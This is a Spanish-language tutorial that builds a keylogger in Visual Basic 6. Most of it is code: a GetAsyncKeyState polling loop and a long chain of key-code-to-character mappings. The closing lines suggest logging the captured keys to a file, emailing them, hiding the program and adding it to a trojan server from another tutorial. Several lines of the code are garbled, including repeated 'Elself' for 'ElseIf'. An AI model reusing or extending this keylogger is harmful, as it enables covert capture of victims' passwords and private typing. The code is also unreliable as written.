Creacion de un keylogger en Vbasic 6.0

por: BLackShadow.

Diseño visual

Lo primero es lo primero... Abrir Visualbasic y seleccionar un nuevo formulario estandard tipo .exe, luego seleccionamos de la caja de controles una etiqueta o "Label" a la que llamaremos Memoria y su propiedad Caption la estableceremos en "", o sea nada, que no diga nada, podemos cambiar la propiedad del borde .BorderStyle y pasaela a 1 la cual es fixed single.

Ahora bien colocamos dos botones, podemos dejarles los nombres command1 y 2 por defecto pero le cambiamos la propiedad de Caption a "Obtener" para command1 y "Detener", para command2.

Una vez terminado esto ya podemos decir que tenemos el diseño visual de nuestro keylogger basico.

Creacion de un modulo para la API

Ok, en esta parte tratare de no ondar mucho y solo explicar lo basico para el entendimiento del keylogger.
Una API (del ingles Application Programming Interface - Interface de Programacion de Aplicaciones, interfaz de programación de la aplicación) es un conjunto de especificaciones de comunicación entre componentes software. Representa un método para conseguir abstracción en la programación, generalmente (aunque no necesariamente) entre los niveles o capas inferiores y los superiores del software. Uno de los principales propósitos de una API consiste en proporcionar un conjunto de funciones.
Pues bien... entendiendo lo que es una api y tratando de explicarlo de manera coloquial, podemos decir que una api es codigo ya diseñado por los programadores de windows que facilita a uno el programar cosas complejas como las salidas y etradas estandares de una pc.

Para llamar una api a nuestro proyecto debemos agregar el modulo y podemos seleccionar en el menu de arriba la opcion proyecto--->agregar Modulo, con esto estariamos agregando un modulo y en el modulo agregaremos el codigo xapaz de llamar a la api en tiempo de ejecucion.

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

La parte azul que escribi arriba son los llamados a las apis necesarias para nuestro proposito. Tenemos la funcion GetAsyncKeyState la cual tomamos de user32, esa funcion como su nombre lo dice es la encargada de obtener las teclas y esta contenida en la libreria user32.dll.

Una vez declarada esa lireria podemos hacer otra funcion que nos retorne las teclas de la siguiente manera:

```
Function GetPressedKey() As String
   For Cnt = 1 To 1000
      If GetAsyncKeyState(Cnt) <> 0 Then
         GetPressedKey = Cnt 'Chr$(Cnt)
         Exit For
      End If
   Next Cnt
End Function
```

La funcion GetPressedKey traduccion "Toma la tecla presionada" hecha por nosotros contiene un for este for hace un recorrido por todas las teclas qut tienen valores entre 1 y 1000, si una de las teclas tiene un valor para el momento del recorrido este se compara con el valor contenido en Cnt el cual es un acumulador "del for", y si es difernte de cero se toma el valor y pasa a la funcion getpressedkey para crear recursividad.

Ese valor capturado que es el mismo que esta en Cnt para el momento de la captura de la tecla, esa tecla esta representada por un numero, ahora solo nos queda hacer varias condiciones para escribir la tecla. Todo el codigo expplicado arriba va en el modulo que agregamos.

3.- Codigo del formulario

La parte que nos toca es la mas sencilla, ya tenemos el keylogger listo, solo nos queda saber que numero de tecla tenemos y cual es su correspondiente leyenda.

```
Dim Sold As String 'declaramos a sold como una variable global y tipo cadena
```

'agrgamos un boton, "command1"

```
Private Sub Command1_Click()
Timer1.Enabled = True 'activamos el timer o sea comienza a obtener las teclas
End Sub
```

'agrgamos un boton , "command2"

```
Private Sub Command2_Click()
Timer1.Enabled = False 'desactivamos el timer, dejamos de obtener
End Sub
```

'agrgamos un timer con la propiedad interval = 1, "Timer1"

```
Private Sub Timer1_Timer()
On Error Resume Next
Ret = GetPressedKey 'Ret toma el valor de la tecla obtenida del modulo
   If Ret <> Sold Then 'si ret es diferente a sold entonces
   Sold = Ret    'correjido el error Sorry!     'sold obtiene  el valor de ret
   If Sold Like "1" Then 'esto se hace para no capturar 2 veces o mas la misma tecla
   Memoria = Memoria & "[click-der]" & vbNewLine
   ElseIf Sold = "2" Then
   Memoria = Memoria & "[click-izq]" & vbNewLine
   ElseIf Sold = "112" Then
   Memoria = Memoria & "[f1]"
```

```
ElseIf Sold = "113" Then
Memoria = Memoria & "[f2]"
ElseIf Sold = "114" Then
Memoria = Memoria & "[f3]"
ElseIf Sold = "115" Then
Memoria = Memoria & "[f4]"
ElseIf Sold = "116" Then
Memoria = Memoria & "[f5]"
ElseIf Sold = "117" Then
Memoria = Memoria & "[f6]"
ElseIf Sold = "118" Then
Memoria = Memoria & "[f7]"
ElseIf Sold = "119" Then
Memoria = Memoria & "[f8]"
ElseIf Sold = "120" Then
Memoria = Memoria & "[f9]"
ElseIf Sold = "121" Then
Memoria = Memoria & "[f10]"
ElseIf Sold = "122" Then
Memoria = Memoria & "[f11]"
ElseIf Sold = "123" Then
Memoria = Memoria & "[f12]"
'//////////////////////////////////////////////////////
ElseIf Sold = "49" Then
Memoria = Memoria & 1
ElseIf Sold = "50" Then
Memoria = Memoria & 2
ElseIf Sold = "51" Then
Memoria = Memoria & 3
ElseIf Sold = "52" Then
Memoria = Memoria & 4
ElseIf Sold = "53" Then
Memoria = Memoria & 5
ElseIf Sold = "54" Then
Memoria = Memoria & 6
ElseIf Sold = "55" Then
Memoria = Memoria & 7
ElseIf Sold = "56" Then
Memoria = Memoria & 8
ElseIf Sold = "57" Then
Memoria = Memoria & 9
'//////////////////////////////////////////////////////
ElseIf Sold = "48" Then
Memoria = Memoria & 0
```

```
    ElseIf Sold = "8" Then
'    Memoria = Mid(Memoria, 1, Len(Memoria) - 1)
    ElseIf Sold = "9" Then
    Memoria = Memoria & "[TAB]"
    ElseIf Sold = "81" Then
    Memoria = Memoria & "Q"
    ElseIf Sold = "87" Then
    Memoria = Memoria & "W"
    ElseIf Sold = "69" Then
    Memoria = Memoria & "E"
    ElseIf Sold = "82" Then
    Memoria = Memoria & "R"
    ElseIf Sold = "84" Then
    Memoria = Memoria & "T"
    ElseIf Sold = "89" Then
    Memoria = Memoria & "Y"
    ElseIf Sold = "85" Then
    Memoria = Memoria & "U"
    ElseIf Sold = "73" Then
    Memoria = Memoria & "I"
    ElseIf Sold = "79" Then
    Memoria = Memoria & "O"
    ElseIf Sold = "80" Then
    Memoria = Memoria & "P"
    '////////////////////////////////////////////////////
    ElseIf Sold = "13" Then
    Memoria = Memoria & " [ENTER] " & vbNewLine
    ElseIf Sold = "20" Then
    Memoria = Memoria & "[MAY]"
    ElseIf Sold = "65" Then
    Memoria = Memoria & "A"
    ElseIf Sold = "83" Then
    Memoria = Memoria & "S"
    ElseIf Sold = "68" Then
    Memoria = Memoria & "D"
    ElseIf Sold = "70" Then
    Memoria = Memoria & "F"
    ElseIf Sold = "71" Then
    Memoria = Memoria & "G"
    ElseIf Sold = "72" Then
    Memoria = Memoria & "H"
    ElseIf Sold = "74" Then
    Memoria = Memoria & "J"
    ElseIf Sold = "75" Then
```

```
Memoria = Memoria & "K"
ElseIf Sold = "76" Then
Memoria = Memoria & "L"
'////////////////////////////////////////////////////
ElseIf Sold = "219" Then
Memoria = Memoria & "'"
ElseIf Sold = "221" Then
Memoria = Memoria & "¡"
ElseIf Sold = "220" Then
Memoria = Memoria & "º"
ElseIf Sold = "192" Then
Memoria = Memoria & "Ñ"
ElseIf Sold = "222" Then
Memoria = Memoria & "`"
ElseIf Sold = "191" Then
Memoria = Memoria & "Ç"
ElseIf Sold = "16" Then
Memoria = Memoria & "[SHIFT]"
ElseIf Sold = "226" Then
Memoria = Memoria & "<"
ElseIf Sold = "90" Then
Memoria = Memoria & "Z"
ElseIf Sold = "88" Then
Memoria = Memoria & "X"
ElseIf Sold = "67" Then
Memoria = Memoria & "C"
ElseIf Sold = "86" Then
Memoria = Memoria & "V"
ElseIf Sold = "66" Then
Memoria = Memoria & "B"
ElseIf Sold = "78" Then
Memoria = Memoria & "N"
ElseIf Sold = "77" Then
Memoria = Memoria & "M"
ElseIf Sold = "188" Then
Memoria = Memoria & ","
ElseIf Sold = "190" Then
Memoria = Memoria & "."
'////////////////////////////////////////////////////
ElseIf Sold = "189" Then
Memoria = Memoria & "-"
ElseIf Sold = "17" Then
Memoria = Memoria & "[CTRL]"
ElseIf Sold = "91" Then
```

```
Memoria = Memoria & "[WIN-INI-DER]"
Elself Sold = "18 164" Then
Memoria = Memoria & "[ALT]"
Elself Sold = "32" Then
Memoria = Memoria & " "
Elself Sold = "92" Then
Memoria = Memoria & "[WIN-INI-IZQ]"
Elself Sold = "93" Then
Memoria = Memoria & "[WIN-PROP]"
Elself Sold = "27" Then
Memoria = Memoria & "[ESC]"
'////////////////////////////////////////////////////
Elself Sold = "44" Then
Memoria = Memoria & "[IMP-PANT]"
Elself Sold = "145" Then
Memoria = Memoria & "[BLOQ]"
Elself Sold = "19" Then
Memoria = Memoria & "[PAUSA]"
Elself Sold = "45" Then
Memoria = Memoria & "[INSERT]"
Elself Sold = "36" Then
Memoria = Memoria & "[INICIO]"
Elself Sold = "33" Then
Memoria = Memoria & "[RE-PAG]"
Elself Sold = "46" Then
Memoria = Memoria & "[DEL]"
Elself Sold = "35" Then
Memoria = Memoria & "[FIN]"
Elself Sold = "34" Then
Memoria = Memoria & "[AV-PAG]"
Elself Sold = "38" Then
Memoria = Memoria & "[FLECHA ARRIBA]"
Elself Sold = "37" Then
Memoria = Memoria & "[FLECHA IZQUI]"
Elself Sold = "39" Then
Memoria = Memoria & "[FLECHA DERECH]"
Elself Sold = "40" Then
Memoria = Memoria & "[FLECHA ABAJO]"
Elself Sold = "144" Then
Memoria = Memoria & "[NUM]"
'////////////////////////////////////////////////
Elself Sold = "111" Then
Memoria = Memoria & "/"
Elself Sold = "106" Then
```

```
    Memoria = Memoria & "*"
    ElseIf Sold = "109" Then
    Memoria = Memoria & "-"
    ElseIf Sold = "107" Then
    Memoria = Memoria & "+"
    ElseIf Sold = "96" Then
    Memoria = Memoria & "0"
    ElseIf Sold = "97" Then
    Memoria = Memoria & "1"
    ElseIf Sold = "98" Then
    Memoria = Memoria & "2"
    ElseIf Sold = "99" Then
    Memoria = Memoria & "3"
    ElseIf Sold = "100" Then
    Memoria = Memoria & "4"
    ElseIf Sold = "101" Then
    Memoria = Memoria & "5"
    ElseIf Sold = "102" Then
    Memoria = Memoria & "6"
    ElseIf Sold = "103" Then
    Memoria = Memoria & "7"
    ElseIf Sold = "104" Then
    Memoria = Memoria & "8"
    ElseIf Sold = "105" Then
    Memoria = Memoria & "9"
    ElseIf Sold = "18" Then
    Memoria = Memoria & "[ALT]"
    End If
    End If
End Sub
```

Traduccion de numero a leyendas obtenidas.

Este keylogger muesra las teclas obtenidas en el caption de el label del formulario, para los mas avanzados pueden tener mil y una forma de grabar en un archivo las teclas obtenidas, enviarlas por email y/o ocultar el keylogger basandose en lo ya propuesto por mi en la cracion del troyano...

Si les da la mente, se lo agregan al form del server del troyano del otro tutorial. 

Salu2s!